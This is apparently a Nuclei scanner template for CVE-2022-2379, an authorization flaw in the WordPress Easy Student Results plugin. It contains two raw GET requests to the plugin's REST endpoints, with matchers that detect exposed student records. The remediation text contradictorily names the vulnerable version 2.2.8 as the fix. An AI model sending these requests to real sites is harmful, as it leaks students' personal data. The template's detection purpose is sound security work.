id: CVE-2022-2379 info: name: WordPress Easy Student Results <=2.2.8 - Improper Authorization author: theamanrawat severity: high description: | WordPress Easy Student Results plugin through 2.2.8 is susceptible to information disclosure. The plugin lacks authorization in its REST API, which can allow an attacker to retrieve sensitive information related to courses, exams, and departments, as well as student grades and information such as email address, physical address, and phone number. remediation: | Update to the latest version of the WordPress Easy Student Results plugin (2.2.8) to fix the improper authorization vulnerability. reference: - https://wpscan.com/vulnerability/0773ba24-212e-41d5-9ae0-1416ea2c9db6 - https://wordpress.org/plugins/easy-student-results/ - https://nvd.nist.gov/vuln/detail/CVE-2022-2379 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-2379 cwe-id: CWE-862 epss-score: 0.01934 epss-percentile: 0.87339 cpe: cpe:2.3:a:easy_student_results_project:easy_student_results:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: easy_student_results_project product: easy_student_results framework: wordpress tags: wordpress,wp-plugin,wp,easy-student-results,disclosure,wpscan,cve,cve2022 http: - raw: - | GET /wp-json/rps_result/v1/route/student_fields HTTP/1.1 Host: {{Hostname}} - | GET /wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1 HTTP/1.1 Host: {{Hostname}} stop-at-first-match: true req-condition: true matchers-condition: and matchers: - type: word part: body_1 words: - '"departments":' - 'batches":' condition: and - type: word part: body_2 words: - 'meta_data' - '"name":"' - '"registration_no":' condition: and - type: word part: header words: - application/json - type: status status: - 200 # digest: 490a00463044022035f6b368bb5d3149d54b49ffe703df1b46d053c685c192bcba81c65f7f0ca84802206d018f397572cf4202f9370d4cf6ac86738b5a9ae8d7318b41d83fdc187adea1:922c64590222798bb761d5b6d8e72950